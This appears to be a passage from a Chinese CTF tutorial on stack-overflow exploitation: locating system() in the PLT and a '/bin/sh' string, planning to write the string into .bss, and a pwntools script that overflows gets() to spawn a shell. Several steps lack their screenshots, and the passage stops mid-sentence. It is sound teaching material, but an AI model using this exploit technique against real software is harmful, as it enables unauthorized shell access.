题型一 有_sysetem和/bin/sh
查看栈保护
F5查看源代码
看见gets函数,立刻想到是栈溢出题型,但是此题并未提供system("/bin/sh")函数。.plt表包含了程序中用到的所有动态链接库函数,也包含了system()函数,因此可以根据这个特性查找system()地址,构造system("/bin/sh")。
查看所有动态链接函数命令:
判断覆盖量
查找system()的地址
objdump -d -j .plt ./ret
为什么不直接使用system在got表中的地址,而使用在plt表中的地址?
在secure函数中,调用了一次system函数,但是main中却没有调用secure函数,所以got表中就不会有system函数地址。但是从plt到got部分可以经过一些列自动化操作解析出system真实地址。具体看题型三地址解析过程。
查找/bin/sh的地址
编写脚本
from pwn import *
p=process('./ret')
system_addr=0x08048460
system_ret_addr=0x00000000 #system的返回地址是随意写的
bin_sh=0x08048720
payload="A"*112+p32(system_addr)+p32(system_ret_addr)+p32(bin_sh)
p.sendline(payload)
p.interactive()
图解
大功告成
题型二 有_system但没有/bin/sh
查看源代码
查看_system地址
查看/bin/sh的地址
没找到,只能自己构造。
这一步的_system_addr用来当作gets函数的返回地址,其实这个返回地址无关紧要(gets函数执行完返回到哪里跟题目无关),只是后面要用到_system函数,所以摆在这里。
注:在rbp下面时,esp每指到一个函数,就会自动识别出下面的是返回地址和参数。
查看.bss段地址
因为.bss是可写可执行的,所以可以考虑把"/bin/sh"放入.bss段。注意:放入.bss段的是"/bin/sh"这个字符串
单击上方的灰色带,找到.b